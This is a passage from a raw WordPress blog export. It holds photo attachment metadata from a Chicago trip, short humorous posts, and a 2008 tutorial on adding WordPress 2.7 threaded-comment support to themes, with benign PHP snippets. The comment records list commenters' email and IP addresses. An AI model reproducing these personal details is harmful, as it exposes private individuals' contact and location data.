width='128'";s:4:"file";s:91:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2766194775_29b15a33a0_o.jpg";s:5:"sizes";a:3:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"2766194775_29b15a33a0_o-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:35:"2766194775_29b15a33a0_o-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}s:5:"large";a:3:{s:4:"file";s:36:"2766194775_29b15a33a0_o-1024x768.jpg";s:5:"width";i:1024;s:6:"height";i:768;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:22:"Omnivision 9655 1.3 MP";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1218851379;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2766194775_29b15a33a0_o.jpg btc_comment_counts a:0:{} btc_comment_summary a:0:{} Cloud Gate http://ottodestruct.com/blog/2008/chicago-trip/2768496742_07571fe618_o/ Mon, 18 Aug 2008 20:08:19 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2768496742_07571fe618_o.jpg 391 2008-08-18 15:08:19 2008-08-18 20:08:19 open open 2768496742_07571fe618_o inherit 387 5 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2768496742_07571fe618_o.jpg _wp_attachment_metadata a:6:{s:5:"width";i:1280;s:6:"height";i:960;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:91:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2768496742_07571fe618_o.jpg";s:5:"sizes";a:3:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"2768496742_07571fe618_o-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:35:"2768496742_07571fe618_o-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}s:5:"large";a:3:{s:4:"file";s:36:"2768496742_07571fe618_o-1024x768.jpg";s:5:"width";i:1024;s:6:"height";i:768;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:22:"Omnivision 9655 1.3 MP";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1218904554;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2768496742_07571fe618_o.jpg btc_comment_counts a:0:{} btc_comment_summary a:0:{} Columns and fountain in Millennium Park http://ottodestruct.com/blog/2008/chicago-trip/2768539760_a538bd7745_o/ Mon, 18 Aug 2008 20:08:36 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2768539760_a538bd7745_o.jpg 392 2008-08-18 15:08:36 2008-08-18 20:08:36 open open 2768539760_a538bd7745_o inherit 387 6 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2768539760_a538bd7745_o.jpg _wp_attachment_metadata a:6:{s:5:"width";i:1280;s:6:"height";i:960;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:91:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2768539760_a538bd7745_o.jpg";s:5:"sizes";a:3:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"2768539760_a538bd7745_o-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:35:"2768539760_a538bd7745_o-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}s:5:"large";a:3:{s:4:"file";s:36:"2768539760_a538bd7745_o-1024x768.jpg";s:5:"width";i:1024;s:6:"height";i:768;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:22:"Omnivision 9655 1.3 MP";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1218905577;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2768539760_a538bd7745_o.jpg btc_comment_counts a:0:{} btc_comment_summary a:0:{} Shedd Aquarium http://ottodestruct.com/blog/2008/chicago-trip/2771547458_575e7f3bee_o/ Mon, 18 Aug 2008 20:08:46 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2771547458_575e7f3bee_o.jpg 393 2008-08-18 15:08:46 2008-08-18 20:08:46 open open 2771547458_575e7f3bee_o inherit 387 11 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2771547458_575e7f3bee_o.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2771547458_575e7f3bee_o.jpg _wp_attachment_metadata a:6:{s:5:"width";i:1280;s:6:"height";i:960;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:91:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2771547458_575e7f3bee_o.jpg";s:5:"sizes";a:3:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"2771547458_575e7f3bee_o-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:35:"2771547458_575e7f3bee_o-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}s:5:"large";a:3:{s:4:"file";s:36:"2771547458_575e7f3bee_o-1024x768.jpg";s:5:"width";i:1024;s:6:"height";i:768;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:22:"Omnivision 9655 1.3 MP";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1218991502;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Willie http://ottodestruct.com/blog/2008/chicago-trip/2774979667_90c27fd590_o/ Mon, 18 Aug 2008 20:08:52 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2774979667_90c27fd590_o.jpg 394 2008-08-18 15:08:52 2008-08-18 20:08:52 open open 2774979667_90c27fd590_o inherit 387 10 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2774979667_90c27fd590_o.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2774979667_90c27fd590_o.jpg _wp_attachment_metadata a:6:{s:5:"width";i:1280;s:6:"height";i:960;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:91:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2774979667_90c27fd590_o.jpg";s:5:"sizes";a:3:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"2774979667_90c27fd590_o-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:35:"2774979667_90c27fd590_o-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}s:5:"large";a:3:{s:4:"file";s:36:"2774979667_90c27fd590_o-1024x768.jpg";s:5:"width";i:1024;s:6:"height";i:768;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:22:"Omnivision 9655 1.3 MP";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1218949351;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Farm http://ottodestruct.com/blog/2008/chicago-trip/2774988745_23f73a3ed7_o/ Mon, 18 Aug 2008 20:08:59 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2774988745_23f73a3ed7_o.jpg 395 2008-08-18 15:08:59 2008-08-18 20:08:59 open open 2774988745_23f73a3ed7_o inherit 387 8 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2774988745_23f73a3ed7_o.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2774988745_23f73a3ed7_o.jpg _wp_attachment_metadata a:6:{s:5:"width";i:640;s:6:"height";i:480;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:91:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2774988745_23f73a3ed7_o.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"2774988745_23f73a3ed7_o-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:35:"2774988745_23f73a3ed7_o-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Airplanes http://ottodestruct.com/blog/2008/chicago-trip/2775001489_f49fcefcfb_o/ Mon, 18 Aug 2008 20:09:05 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775001489_f49fcefcfb_o.jpg 396 2008-08-18 15:09:05 2008-08-18 20:09:05 open open 2775001489_f49fcefcfb_o inherit 387 7 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775001489_f49fcefcfb_o.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2775001489_f49fcefcfb_o.jpg _wp_attachment_metadata a:6:{s:5:"width";i:1280;s:6:"height";i:960;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:91:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2775001489_f49fcefcfb_o.jpg";s:5:"sizes";a:3:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"2775001489_f49fcefcfb_o-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:35:"2775001489_f49fcefcfb_o-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}s:5:"large";a:3:{s:4:"file";s:36:"2775001489_f49fcefcfb_o-1024x768.jpg";s:5:"width";i:1024;s:6:"height";i:768;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:22:"Omnivision 9655 1.3 MP";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1218915883;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} The Billy Goat Tavern http://ottodestruct.com/blog/2008/chicago-trip/2775845084_382dffb6e0_o/ Mon, 18 Aug 2008 20:09:12 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775845084_382dffb6e0_o.jpg 397 2008-08-18 15:09:12 2008-08-18 20:09:12 open open 2775845084_382dffb6e0_o inherit 387 9 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775845084_382dffb6e0_o.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2775845084_382dffb6e0_o.jpg _wp_attachment_metadata a:6:{s:5:"width";i:1280;s:6:"height";i:960;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:91:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2775845084_382dffb6e0_o.jpg";s:5:"sizes";a:3:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"2775845084_382dffb6e0_o-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:35:"2775845084_382dffb6e0_o-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}s:5:"large";a:3:{s:4:"file";s:36:"2775845084_382dffb6e0_o-1024x768.jpg";s:5:"width";i:1024;s:6:"height";i:768;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:22:"Omnivision 9655 1.3 MP";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1218927386;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Blue Screen http://ottodestruct.com/blog/2008/chicago-trip/2775845914_50512bfced_o/ Mon, 18 Aug 2008 20:09:20 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775845914_50512bfced_o.jpg 398 2008-08-18 15:09:20 2008-08-18 20:09:20 open open 2775845914_50512bfced_o inherit 387 12 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775845914_50512bfced_o.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2775845914_50512bfced_o.jpg _wp_attachment_metadata a:6:{s:5:"width";i:1280;s:6:"height";i:960;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:91:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2775845914_50512bfced_o.jpg";s:5:"sizes";a:3:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"2775845914_50512bfced_o-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:35:"2775845914_50512bfced_o-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}s:5:"large";a:3:{s:4:"file";s:36:"2775845914_50512bfced_o-1024x768.jpg";s:5:"width";i:1024;s:6:"height";i:768;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:22:"Omnivision 9655 1.3 MP";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1218993069;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Chicago Trip http://ottodestruct.com/blog/2008/chicago-trip/ Mon, 18 Aug 2008 20:42:59 +0000 http://ottodestruct.com/blog/?p=387 387 2008-08-18 15:42:59 2008-08-18 20:42:59 open open chicago-trip publish 0 0 post 0 aktt_notify_twitter no _edit_lock 1246980793 _edit_last 1 aktt_notify_twitter no aktt_notify_twitter no aktt_notify_twitter no aktt_notify_twitter no aktt_notify_twitter no aktt_notify_twitter no aktt_notify_twitter no aktt_notify_twitter no aktt_notify_twitter no aktt_notify_twitter no _geo_location 41.886459907263536,-87.61210441589355 aktt_notify_twitter no _geo_converted wp_geo_mashup_locations.id = 15 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Buckingham Fountain http://ottodestruct.com/blog/2008/chicago-trip/2775873304_28de83e999_o/ Mon, 18 Aug 2008 21:03:27 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775873304_28de83e999_o.jpg 404 2008-08-18 16:03:27 2008-08-18 21:03:27 open open 2775873304_28de83e999_o inherit 387 1 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2775873304_28de83e999_o.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2775873304_28de83e999_o.jpg _wp_attachment_metadata a:6:{s:5:"width";i:1280;s:6:"height";i:960;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:91:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2775873304_28de83e999_o.jpg";s:5:"sizes";a:3:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"2775873304_28de83e999_o-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:35:"2775873304_28de83e999_o-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}s:5:"large";a:3:{s:4:"file";s:36:"2775873304_28de83e999_o-1024x768.jpg";s:5:"width";i:1024;s:6:"height";i:768;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:22:"Omnivision 9655 1.3 MP";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1218820232;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Chicago Air and Water Show http://ottodestruct.com/blog/photos/chicago-air-and-water-show/ Tue, 19 Aug 2008 20:37:11 +0000 410 2008-08-19 14:37:11 2008-08-19 20:37:11 closed open chicago-air-and-water-show publish 144 0 page 0 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Ninja http://ottodestruct.com/blog/2008/ninjas-taking-back-the-streets/ninja_true20ninjas1/ Wed, 27 Aug 2008 16:11:05 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/ninja_true20ninjas1.gif 412 2008-08-27 11:11:05 2008-08-27 16:11:05 open open ninja_true20ninjas1 inherit 411 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/ninja_true20ninjas1.gif _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/ninja_true20ninjas1.gif _wp_attachment_metadata a:6:{s:5:"width";i:500;s:6:"height";i:328;s:14:"hwstring_small";s:23:"height='83' width='128'";s:4:"file";s:87:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/ninja_true20ninjas1.gif";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:30:"ninja_true20ninjas1-150x98.gif";s:5:"width";i:150;s:6:"height";i:98;}s:6:"medium";a:3:{s:4:"file";s:31:"ninja_true20ninjas1-300x196.gif";s:5:"width";i:300;s:6:"height";i:196;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6364 we@yahoo.com 78.61.171.93 2008-10-28 11:18:42 2008-10-28 16:18:42 1 0 0 6719 alex.bieser@yahoo.com http://myspace.com/alexbieser 99.24.202.245 2009-02-26 21:16:27 2009-02-27 03:16:27 1 0 0 6724 elyon_91@hotmail.com 83.137.8.60 2009-03-03 07:38:25 2009-03-03 13:38:25 1 0 0 Ninjas, taking back the streets! http://ottodestruct.com/blog/2008/ninjas-taking-back-the-streets/ Wed, 27 Aug 2008 16:21:02 +0000 http://ottodestruct.com/blog/?p=411 What is the plural of "ninja" anyway?[/caption] I guess if you're going to be a vigilante, then you may as well try to do it with a little style. The Clifton police in New Jersey recently arrested a couple dudes who were dressed like ninjas and armed with "Asian martial arts weapons" while they were delivering warning letters to drug dealers and users. It gets better. They claimed to be "Shinobi warriors", and had knives, throwing stars, swords, nunchucks, and bow and arrows on them. They got charged with weapons possession and one of them was charged with leaving a harassing letter for his ex-girlfriend (if you're going to be harassing drug dealers, then I guess you might as well get some personal grudges settled at the same time). The letters stated that the "Shinobi will stop your cruel and sadistic intentions with justified yet, merciful force." and accused the dealers with having "committed sin of passing impurity" to others and that the "wind guides us to those of impure heart and intent." Nerds with weapons. Wow. This could be an extremely entertaining trend. :)]]> 411 2008-08-27 11:21:02 2008-08-27 16:21:02 open open ninjas-taking-back-the-streets publish 0 0 post 0 aktt_notify_twitter yes _edit_lock 1229104013 _edit_last 1 aktt_notify_twitter yes aktt_notify_twitter yes aktt_notify_twitter yes aktt_notify_twitter yes aktt_notify_twitter yes aktt_tweeted 1 _geo_location 35.146126,-90.053655 _geo_converted wp_geo_mashup_locations.id = 7 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6267 jtwilliamson19@hotmail.com 12.24.188.86 2008-08-27 12:31:59 2008-08-27 17:31:59 1 0 0 6675 nigel@theseasonallunchbox.com http://www.theseasonallunchbox.com 91.125.243.186 2009-01-29 15:59:41 2009-01-29 21:59:41 1 0 0 6676 nigel@theseasonallunchbox.com http://www.theseasonallunchbox.com 91.125.243.186 2009-01-29 16:10:03 2009-01-29 22:10:03 1 0 0 6900 robertpnz@gmail.com http://ropata.wordpress.com 122.57.15.179 2009-08-03 06:54:26 2009-08-03 11:54:26 1 0 0 talk_like_a_pirate_day http://ottodestruct.com/blog/2008/happy-talk-like-a-pirate-day/talk_like_a_pirate_day1/ Fri, 19 Sep 2008 16:00:48 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/09/talk_like_a_pirate_day1.png 420 2008-09-19 11:00:48 2008-09-19 16:00:48 open open talk_like_a_pirate_day1 inherit 419 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/09/talk_like_a_pirate_day1.png _wp_attached_file 2008/09/talk_like_a_pirate_day1.png _wp_attachment_metadata a:6:{s:5:"width";i:576;s:6:"height";i:576;s:14:"hwstring_small";s:22:"height='96' width='96'";s:4:"file";s:35:"2008/09/talk_like_a_pirate_day1.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"talk_like_a_pirate_day1-150x150.png";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:35:"talk_like_a_pirate_day1-300x300.png";s:5:"width";i:300;s:6:"height";i:300;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} Happy Talk Like a Pirate Day! http://ottodestruct.com/blog/2008/happy-talk-like-a-pirate-day/ Fri, 19 Sep 2008 16:03:26 +0000 http://ottodestruct.com/blog/?p=419 Talk Like a Pirate Day Logo Ahoy! In celebration o' International Talk Like a Pirate Day, all posts on me blog will be translated into pirate, for today only. Remember, Talk Like a Pirate Day only comes once a year, so get out thar and drink some grog, lads!]]> 419 2008-09-19 11:03:26 2008-09-19 16:03:26 open open happy-talk-like-a-pirate-day publish 0 0 post 0 _edit_last 1 _edit_lock 1223667585 aktt_notify_twitter no _geo_location 35.14612862454304,-90.05355834960938 _geo_converted wp_geo_mashup_locations.id = 14 btc_comment_counts a:0:{} btc_comment_summary a:0:{} WordPress 2.7 Comments Enhancements http://ottodestruct.com/blog/2008/wordpress-27-comments-enhancements/ Mon, 29 Sep 2008 15:43:03 +0000 http://ottodestruct.com/blog/?p=424 Note: A lot of people seem to miss this key bit: Enhanced Comments are optional and default to off, even after you make these changes. You have to go to the Settings->Discussion panel to turn the features on. Actually "compatible" is not quite the right term. Old themes will continue to work fine in WordPress 2.7. It's just the threading and paging and javascript enhancements need the theme to support it. This is much the same as the sidebar widgets, the theme has to support it for the functionality to work. So this article is really not about 2.7 compatibility, it's about 2.7 capability. Note that this article will explain some of the changes needed to make themes capable of supporting the new comments functions, however there's no substitute for the real thing. Install a local copy of WordPress trunk on your home machine (possibly using XAMPP) and test it there. Also note that this is all based on the current state of WordPress trunk, and is subject to change before WordPress 2.7 is released. However, it's probably not going to change all that much at this point.

    How to create a 2.7 compatible comments.php

    2.7 Detection

    If you want your theme to be backward compatible as well, then there's a simple way to do it. Just check for the wp_list_comments function, like so: [php]if (function_exists('wp_list_comments')) : // new comments.php stuff else : // old comments.php stuff endif;[/php] While you could check for the version number of WordPress, this method is better because it simply looks for the actual function you're going to use anyway. Never make assumptions based on version number. One of the more interesting ways I've seen to use this is to have the "old comments" php in a separate file entirely, which is then included. This preserves backwards compatibility for your theme in a simple way. Here's a quick example code for that approach: [php]<?php add_filter('comments_template', 'legacy_comments'); function legacy_comments($file) { if ( !function_exists('wp_list_comments') ) $file = TEMPLATEPATH . '/legacy.comments.php'; return $file; } ?>[/php] Adding this code to a theme's functions.php file will make the theme use the "legacy.comments.php" for older non-2.7 installations. That way, you can simply rename your old comments.php and then make a new one based on the new functionality. Clever.

    Password Protection Check

    Put this code at the top of your comments.php file. This is what lets it support the post password functionality. Note that this code is quite similar to the previous way that it was done (by checking the cookie directly), but now WordPress has a specific function to do it. You should use this function in case the functionality changes in the future, your code will be forward compatible: [php]if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME'])) die ('Please do not load this page directly. Thanks!'); if ( post_password_required() ) { echo 'This post is password protected. Enter the password to view comments.'; return; } <h4>The Comments Loop</h4> The Comments Loop used to look similar to this (much simplified from a real one): [php]if ($comments) : <?php $comment_count = get_comment_count($post->ID); echo $comment_count['approved']; ?> Comments <ul class="commentlist"> <?php foreach( $comments as $comment ) : // stuff to display the comment in an LI here endforeach; ?></ul> <?php else : if ('open' == $post-comment_status) : // If comments are open, but there are no comments. else : // comments are closed endif; endif;[/php] Basically, it went through the comments manually and output all the necessary pieces. Easy, but very manual. This also had the problem of being very inconsistent and hard to manage for your theme's users, especially if you heavily customized it. The new comments loop is much simpler: [php]<?php if ( have_comments() ) : ?> <h4 id="comments"><?php comments_number('No Comments', 'One Comment', '% Comments' );?></h4> <ul class="commentlist"> <?php wp_list_comments(); ?> </ul> <div class="navigation"> <div class="alignleft">< ?php previous_comments_link() ?></div> <div class="alignright">< ?php next_comments_link() ?></div> </div> <?php else : // this is displayed if there are no comments so far ?> <?php if ('open' == $post->comment_status) : // If comments are open, but there are no comments. else : // comments are closed endif; endif; ?>[/php] That new one is, in fact, a complete comments loop. No simplification at all. Unless you want something displayed for "no comments" or "comments closed", of course. I don't have anything showing there. There are three important pieces to note here:
    • The have_comments() function replaces the check on the global $comments variable.
    • The wp_list_comments() function now outputs all the comments. It does threading, the classes, everything new.
    • There's a new navigation section to do comment paging.

    The Power of Javascript

    To support the new Javascript functionality with comment threading, some minor bits of code are needed: First, in the header.php, add this line immediately before the call to wp_head(): [php]if ( is_singular() ) wp_enqueue_script( 'comment-reply' );[/php] That code adds the comment-reply javascript to the single post pages, letting the comment reply links work correctly. WordPress specifically does NOT do this itself, for the reason that use of this script requires certain naming conventions and parameters in the comment form, which you'll have to add. So, your comment form has a new parameter that you have to add: [php]<?php comment_id_fields(); ?>[/php] This adds a bit of code to your form which makes it display two hidden inputs: comment_post_ID and comment_parent. Your form probably had the comment_post_ID before, so you need to remove it. The comment_parent is there for the javascript, so that replies to comments get threaded properly. Also, your comment textarea MUST have an id="comment". The javascript expects it for focus purposes. If you used anything else, change it. Note that because of this, no other element on your page can have the "comment" ID. Finally, the entire comment form MUST be surrounded by a DIV with an id="respond". In some previous themes (including the default ones), there would be an anchor tag like this: [html]<a id="respond"></a>[/html] This was there to allow the link from the front page to go directly to the respond section when there were no comments already. That still happens, but now there's a double purpose. The javascript moves the comment form to where the reply link is, so instead of it being an anchor, it needs to be a DIV that surrounds the comment form. So, remove that anchor, and add a DIV with an id="respond" around the entire comment form. The link from the front page still works this way with all modern browsers, and the javascript can now move the form around on the page as needed. Next, you can replace the call to your normal "Leave a Comment" text with something like this: [php] <h3><?php comment_form_title(); ?></h3> [/php] This makes a comment form title of "Leave a Reply" which will change to "Leave a Reply to Whoever" when somebody is replying directly to another person. You can customize this, if you like, with two parameters, like so: [php]<?php comment_form_title( 'Leave a Reply', 'Leave a Reply to %s' ); ?>[/php] The %s will be replaced with the person's name. This will only happen when the javascript isn't working and the reply links have to cause a page refresh. So it's usually not worth customizing much. Still, not everybody runs javascript and so this is nice to let them know who they are replying to. Finally, you'll notice that when somebody clicks "reply" and the comment form appears there, maybe they decide to cancel instead. So, that cancel link needs to be in your respond section. Here's the code to do that, just put it right below your "leave a message" header in the comment form area: [php] <div id="cancel-comment-reply"> <small><?php cancel_comment_reply_link() ?></small></div> [/php] That's pretty much it for making the AJAX work. With this, the new features on the Settings->Discussion panel will work. Obviously, you can modify this somewhat as needed for your theme, these are just general principles that you'll need to use.

    Styling

    Now that you have it working, there's plenty of new styling you can add to comments. The new comments loop automatically puts every comment into an LI tag, and threads them as well, with embedded UL/LI tags. It also adds a ton of classes on all these LIs which surround every comment in this fashion:
    • comment, trackback, pingback classes get added depending on the type of the comment.
    • byuser gets added if the comment is by a registered user of the site.
    • comment-author-authorname gets added for specific registered users.
    • bypostauthor gets added if the comment is by the author of the post the comment is attached to.
    • odd and even classes are added to odd and even numbered comments
    • alt is added to every other comment
    • thread-odd, thread-even, and thread-alt classes are the same as the odd/even/alt classes, but these only apply to the top level of each set of comments and replies
    • depth-1 is added to the top level comments, depth-2 to the next level, and so on.
    What's more, a comment_class filter is provided to allow you to add your own classes. Here's an example of that. This example function adds a microid to every comment with the microid for the comment authors given URL and email address. This sort of thing could be done in a plugin or a theme's functions.php file, whatever. [php] // add a microid to all the comments function comment_add_microid($classes) { $c_email=get_comment_author_email(); $c_url=get_comment_author_url(); if (!empty($c_email) && !empty($c_url)) { $microid = 'microid-mailto+http:sha1:' . sha1(sha1('mailto:'.$c_email).sha1($c_url)); $classes[] = $microid; } return $classes; } add_filter('comment_class','comment_add_microid'); [/php] Simple and effective. It just adds the class to the given array of classes and lets the comment display functions take care of the rest. And there you have it. It's not hard to support the new functions. And if you need to customize your theme's comments section even more, wp_list_comments() supports a number of parameters. Most of this is not documented yet, because WordPress 2.7 is not out until November. However, the code is relatively straightforward, and anybody with a good understanding of WordPress should be able to work it out. Additional: A lot of people keep asking me for a full-fledged example. Really, 